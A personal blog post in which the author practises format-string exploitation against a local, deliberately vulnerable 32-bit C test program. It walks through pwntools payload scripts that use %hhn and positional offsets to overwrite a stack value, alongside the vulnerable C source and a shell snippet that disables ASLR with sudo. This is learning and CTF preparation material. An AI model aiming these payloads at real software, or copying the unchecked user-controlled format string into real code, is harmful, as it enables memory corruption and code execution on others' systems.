More format strings

2022-11-07 By qld

Intro on printf vulns

First of all, some links. printf abuses have been extensively documented now, see https://tinyhack.com/2014/03/12/implementing-a-web-server-in-a-single-printf-call/ for the infamous "web-server-in-a-single-printf-call" headline, which turns out to just be a hardcoded shellcode that serves a hello world. We could have actual turing machines in printf calls.

These are all pretty good. I don't really get the stackpop / dummy-addr-pair / write-code concept of team teso's paper since in my experience I just needed address-list and write-code that would pop down address-list. Maybe it's just that I don't have anything to stackpop and did not understand the address-list correctly.

Now that I read more and experimented with that, it's rather dummy-addr-pair + stackpop + write-code, but I guess both ways can word as soon as you can get up to your addresses.

What I did during the previous days.

I addition to tremendously exciting work, I tried to reproduce locally what didn't work properly on the CTF server.

(useless C code removed)

Compiled that with disabled ASLR and writable relocations, as well, no stack cookies and stuff.

user@debian:~/pwn$ gcc test_printf.c -m32 -fno-stack-protector -Wl,-z,norelro -o test-printf -Wall -ansi -std=c99 -pedantic -ggdb && ./test-printf %08x.%08x
before : 12345678 (0xffffd16c)
0xffffd453 |    0 | 25 30 38 78 2e 25 30 38 | %08x.%08
0xffffd45b |    8 | 78                      | x
after  : 12345678 (0xffffd16c)
0xffffd170 |    0 | 35 36 35 35 36 35 32 62 | 5655652b
0xffffd178 |    8 | 2e 30 30 30 30 30 30 30 | .0000000
0xffffd180 |   16 | 30 00 00 00 00 00 00 00 | 0.......
0xffffd188 |   24 | 00 00 00 00 00 00 00 00 | ........
0xffffd190 |   32 | 00 00 00 00 00 00 00 00 | ........
0xffffd198 |   40 | 00 00 00 00 00 00 00 00 | ........
0xffffd1a0 |   48 | 00 00 00 00 00 00 00 00 | ........
0xffffd1a8 |   56 | 00 00 00 00 00 00 00 00 | ........
Finished.

For some reason, pwntools' fmtstr_payload doesn't work properly, which is not far from what I have on some CTF server, where printed result of format strings (%08x, %123n, etc) are interpreted as pointers.

user@debian:~/pwn$ valgrind ./test-printf $( python3 -c 'from pwn import *;sys.stdout.buffer.write(fmtstr_payload(2,{0xffffd16c:0x55445544},write_size="byte"))' )
==25499== Memcheck, a memory error detector
==25499== Copyright (C) 2002-2017, and GNU GPL'd, by Julian Seward et al.
==25499== Using Valgrind-3.16.1 and LibVEX; rerun with -h for copyright info
==25499== Command: ./test-printf %68c%11$hhn%12$hhn%17c%13$hhn%14$hhnl___n___m___o___
==25499== 
before : 12345678 (0xfeffd05c)
0xfeffd341 |    0 | 25 36 38 63 25 31 31 24 | %68c%11$
0xfeffd349 |    8 | 68 68 6e 25 31 32 24 68 | hhn%12$h
0xfeffd351 |   16 | 68 6e 25 31 37 63 25 31 | hn%17c%1
0xfeffd359 |   24 | 33 24 68 68 6e 25 31 34 | 3$hhn%14
0xfeffd361 |   32 | 24 68 68 6e 6c d1 ff ff | $hhnl...
0xfeffd369 |   40 | 6e d1 ff ff 6d d1 ff ff | n...m...
0xfeffd371 |   48 | 6f d1 ff ff             | o...
==25499== Invalid write of size 1
==25499==    at 0x48C28A8: printf_positional (vfprintf-internal.c:2072)
==25499==    by 0x48C3DAC: __vfprintf_internal (vfprintf-internal.c:1733)
==25499==    by 0x48D6984: __vsnprintf_internal (vsnprintf.c:114)
==25499==    by 0x48B30AD: snprintf (snprintf.c:31)
==25499==    by 0x109592: vuln (test_printf.c:80)
==25499==    by 0x109639: main (test_printf.c:98)
==25499==  Address 0x20202020 is not stack'd, malloc'd or (recently) free'd

I guess it's the game. Gotta sort that out tomorrow, maybe.

Sorted it out !

Well, at least with manual output it works. I have printf copy verbatim my UUUU paddings and addresses for no valid reason (we have room, heh), then proceed to pass through the stack with some %08x stackpops and then write byte by byte (%hhn just writes a single byte, but we could have worked with the 4-bytes writes of %n, with some more calculations.

#!/usr/bin/env python3

from pwn import *
import sys
address = 0xffffd0dc
pad_length = 77
wanted = 0x75cafe34
wanted = p32(wanted)
payload = b''
for i in range(4):
    payload += b'UUUU' + p32(address + i)
payload += b'b%08x'*5 # stackpop
sys.stderr.write(f'payload so far {len(payload)} : {repr(payload)}\n')
for i in wanted:
    n = i
    n = (n - pad_length) % 0x100
    payload += bytes(f'%{n}u%hhn','ascii')
    pad_length += n

sys.stdout.buffer.write(payload)

Output:

payload so far 57 : b'UUUU\xdc\xd0\xff\xffUUUU\xdd\xd0\xff\xffUUUU\xde\xd0\xff\xffUUUU\xdf\xd0\xff\xffb%08xb%08xb%08xb%08xb%08x'
before : 12345678 (0xffffd0dc)
0xffffd3ff |    0 | 55 55 55 55 dc d0 ff ff | UUUU....
0xffffd407 |    8 | 55 55 55 55 dd d0 ff ff | UUUU....
0xffffd40f |   16 | 55 55 55 55 de d0 ff ff | UUUU....
0xffffd417 |   24 | 55 55 55 55 df d0 ff ff | UUUU....
0xffffd41f |   32 | 62 25 30 38 78 62 25 30 | b%08xb%0
0xffffd427 |   40 | 38 78 62 25 30 38 78 62 | 8xb%08xb
0xffffd42f |   48 | 25 30 38 78 62 25 30 38 | %08xb%08
0xffffd437 |   56 | 78 25 32 33 31 75 25 68 | x%231u%h
0xffffd43f |   64 | 68 6e 25 32 30 32 75 25 | hn%202u%
0xffffd447 |   72 | 68 68 6e 25 32 30 34 75 | hhn%204u
0xffffd44f |   80 | 25 68 68 6e 25 31 37 31 | %hhn%171
0xffffd457 |   88 | 75 25 68 68 6e          | u%hhn
after  : 75cafe34 (0xffffd0dc)
0xffffd0e0 |    0 | 55 55 55 55 dc d0 ff ff | UUUU....
0xffffd0e8 |    8 | 55 55 55 55 dd d0 ff ff | UUUU....
0xffffd0f0 |   16 | 55 55 55 55 de d0 ff ff | UUUU....
0xffffd0f8 |   24 | 55 55 55 55 df d0 ff ff | UUUU....
0xffffd100 |   32 | 62 35 36 35 35 36 35 32 | b5655652
0xffffd108 |   40 | 65 62 30 30 30 30 30 30 | eb000000
0xffffd110 |   48 | 30 30 62 30 30 30 30 30 | 00b00000
0xffffd118 |   56 | 30 30 30 62 30 30 30 30 | 000b0000
0xffffd120 |   64 | 30 30 30 30 62 31 32 33 | 0000b123
0xffffd128 |   72 | 34 35 36 37 38 20 20 20 | 45678   
0xffffd130 |   80 | 20 20 20 20 20 20 20 20 |         
0xffffd138 |   88 | 20 20 20 20 20 20 20 20 |         
0xffffd140 |   96 | 20 20 20 20 20 20 20 20 |         
0xffffd148 |  104 | 20 20 20 20 20 20 20 20 |         
0xffffd150 |  112 | 20 20 20 20 20 20 20 20 |         
0xffffd158 |  120 | 20 20 20 20 20 20 20 00 |        .
Finished.

Using dollars like pwntools do

Now, why can't we get this with pwntools ? Some more reading of pydoc's output and directly /usr/local/lib/python3.9/dist-packages/pwnlib/fmtstr.py, I ended up bruteforcing the "offset" parameter, to no avail.

Looks like even with a 0 offset there's some dollar magic picking the 9th element, the right offset should have been something like 6-ish given how I had to add 5 "stackpop" and one first %u to get into the write code above.

user@debian:~/pwn$ for i in $( seq 0 5 ) ; do echo $i ; ./test-printf $( python3 -c "from pwn import *;sys.stdout.buffer.write(fmtstr_payload($i,{0xffffd0fc:0x55445544},write_size='byte'))" ) ; done
0
before : 12345678 (0xffffd0fc)
0xffffd428 |    0 | 25 36 38 63 25 39 24 68 | %68c%9$h
0xffffd430 |    8 | 68 6e 25 31 30 24 68 68 | hn%10$hh
0xffffd438 |   16 | 6e 25 31 37 63 25 31 31 | n%17c%11
0xffffd440 |   24 | 24 68 68 6e 25 31 32 24 | $hhn%12$
0xffffd448 |   32 | 68 68 6e 61 fc d0 ff ff | hhna....
0xffffd450 |   40 | fe d0 ff ff fd d0 ff ff | ........
0xffffd458 |   48 | ff d0 ff ff             | ....
Segmentation fault
1
before : 12345678 (0xffffd0fc)
0xffffd428 |    0 | 25 36 38 63 25 31 30 24 | %68c%10$
0xffffd430 |    8 | 68 68 6e 25 31 31 24 68 | hhn%11$h
0xffffd438 |   16 | 68 6e 25 31 37 63 25 31 | hn%17c%1
0xffffd440 |   24 | 32 24 68 68 6e 25 31 33 | 2$hhn%13
0xffffd448 |   32 | 24 68 68 6e fc d0 ff ff | $hhn....
0xffffd450 |   40 | fe d0 ff ff fd d0 ff ff | ........
0xffffd458 |   48 | ff d0 ff ff             | ....
Segmentation fault

Here's how I sorted this out, with some trial and errors, just using dollars instead of using stackpops.

#!/usr/bin/env python3

from pwn import *
import sys
address = 0xffffd0ec
pad_length = 0x85 - 0x75
wanted = 0x75cafe34
wanted = p32(wanted)
payload = b''
for i in range(4):
    payload += p32(address + i)
sys.stderr.write(f'payload so far {len(payload)} : {repr(payload)}\n')
for i in range(len(wanted)):
    n = wanted[i]
    offset = 6 + i
    n = (n - pad_length) % 0x100
    payload += bytes(f'%{offset}${n}u%{offset}$hhn','ascii')
    pad_length += n

sys.stdout.buffer.write(payload)

Output:

payload so far 16 : b'\xec\xd0\xff\xff\xed\xd0\xff\xff\xee\xd0\xff\xff\xef\xd0\xff\xff'
before : 12345678 (0xffffd0ec)
0xffffd419 |    0 | ec d0 ff ff ed d0 ff ff | ........
0xffffd421 |    8 | ee d0 ff ff ef d0 ff ff | ........
0xffffd429 |   16 | 25 36 24 33 36 75 25 36 | %6$36u%6
0xffffd431 |   24 | 24 68 68 6e 25 37 24 32 | $hhn%7$2
0xffffd439 |   32 | 30 32 75 25 37 24 68 68 | 02u%7$hh
0xffffd441 |   40 | 6e 25 38 24 32 30 34 75 | n%8$204u
0xffffd449 |   48 | 25 38 24 68 68 6e 25 39 | %8$hhn%9
0xffffd451 |   56 | 24 31 37 31 75 25 39 24 | $171u%9$
0xffffd459 |   64 | 68 68 6e                | hhn
after  : 75cafe34 (0xffffd0ec)
0xffffd0f0 |    0 | ec d0 ff ff ed d0 ff ff | ........
0xffffd0f8 |    8 | ee d0 ff ff ef d0 ff ff | ........
0xffffd100 |   16 | 20 20 20 20 20 20 20 20 |         
0xffffd108 |   24 | 20 20 20 20 20 20 20 20 |         
0xffffd110 |   32 | 20 20 20 20 20 20 20 20 |         
0xffffd118 |   40 | 20 20 34 32 39 34 39 35 |   429495
0xffffd120 |   48 | 35 32 34 34 20 20 20 20 | 5244    
0xffffd128 |   56 | 20 20 20 20 20 20 20 20 |         
0xffffd130 |   64 | 20 20 20 20 20 20 20 20 |         
0xffffd138 |   72 | 20 20 20 20 20 20 20 20 |         
0xffffd140 |   80 | 20 20 20 20 20 20 20 20 |         
0xffffd148 |   88 | 20 20 20 20 20 20 20 20 |         
0xffffd150 |   96 | 20 20 20 20 20 20 20 20 |         
0xffffd158 |  104 | 20 20 20 20 20 20 20 20 |         
0xffffd160 |  112 | 20 20 20 20 20 20 20 20 |         
0xffffd168 |  120 | 20 20 20 20 20 20 20 00 |        .
Finished.

Finally, the test code, a polyglot shell & C file.

And here's the polyglot C & shell code. I'm definitely going to re-use that ifdef polyglot trick later on.

#ifdef shell
# Just execute this .c code with bash and call it a day, lol.
echo "Checking ASLR & compiling."
set -x
[ ! $( cat /proc/sys/kernel/randomize_va_space ) -eq "0" ] && echo 0 | sudo tee /proc/sys/kernel/randomize_va_space && cat /proc/sys/kernel/randomize_va_space
gcc $0 -m32 -fno-stack-protector -Wl,-z,norelro -o test-printf -Wall -ansi -std=c99 -pedantic
./test-printf "%08x"
valgrind ./test-printf "%08x.%08x.%08x.%08x.%08x.%n"
exit 0
#endif

# define BUFFER_LENGTH 128

/*
   This program is free software; you can redistribute it and/or modify
   it under the terms of the GNU General Public License as published by
   the Free Software Foundation; either version 2 of the License, or
   (at your option) any later version.

   This program is distributed in the hope that it will be useful,
   but WITHOUT ANY WARRANTY; without even the implied warranty of
   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
   GNU General Public License for more details.

   You should have received a copy of the GNU General Public License
   along with this program; if not, write to the Free Software
   Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
   */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

unsigned char hexchar(unsigned char x){return ((x+0x30)+((x>9)*0x27));}

unsigned char ch1(unsigned char x){if((x>0x1f)&&(x<0x7f)){return 32;}else{return hexchar(x>>4);}}
unsigned char ch2(unsigned char x){if((x>0x1f)&&(x<0x7f)){return x;}else{return hexchar(x%16);}}
unsigned char chsafe(unsigned char x){if((x>0x1f)&&(x<0x7f)){return x;}else{return '.';}}
unsigned int color(unsigned char x)
{
  switch (x>>5) {
    case 2:
      if (((x-1)%0x20)<0x1b) { return 4+(x>0x60)*2;}
      return 5;
    case 3:
      if (((x-1)%0x20)<0x1b) { return 4+(x>0x60)*2;}
      return 5;
    case 1:
      if (x%0x30<10) {return 1;}
      return 5;
    default:
      return 9;
  }
}


void printbuffer(unsigned char * buffer, unsigned int l)
{
  unsigned int i = 0;
  unsigned int j = 0;
  unsigned int step = 0x8;
  //printf("%p | %4d | ", buffer, i);
  for (i=0;i<l;i += step) {
    if (i < l) {
      printf("%p | %4d | ", buffer+i, i);
    }
    for (j=i;j<i+step;j += 1) {
      if (j < l) {
        printf("%02x ", buffer[j]);
      } else {
        printf("   ");
      }
    }
    printf("| ");
    for (j=i;j<i+step;j += 1) {
      if (j < l) {
        printf("\x1b[3%dm%c\x1b[0m",color(buffer[j]),chsafe(buffer[j]));
      }
    }
    puts("");
  }
}


int vuln(const char *format){
  unsigned char buffer[BUFFER_LENGTH];
  unsigned int value = 0x12345678;
  memset(buffer, 0, BUFFER_LENGTH);
  printf("before : %08x (%p)\n", value, (void *)&value);
  printbuffer((unsigned char *)format, strlen(format));
  snprintf((char * restrict)buffer, sizeof buffer, format);
  printf("after  : %08x (%p)\n", value, (void *)&value);
  printbuffer((unsigned char *)buffer, sizeof buffer);
  printf("Finished.\n");
  return 0;
}

int main(int argc, char **argv){
  /*
   * echo 0 > /proc/sys/kernel/randomize_va_space
   *
   *  -m32 -fno-stack-protector -Wl,-z,norelro
   *  gcc test_printf.c -m32 -fno-stack-protector -Wl,-z,norelro -o test-printf -Wall -ansi -std=c99 -pedantic
   */
  if (argc <= 1){
    fprintf(stderr, "Usage: %s <buffer>\n", argv[0]);
    exit(-1);
  }
  exit(vuln(argv[1]));
}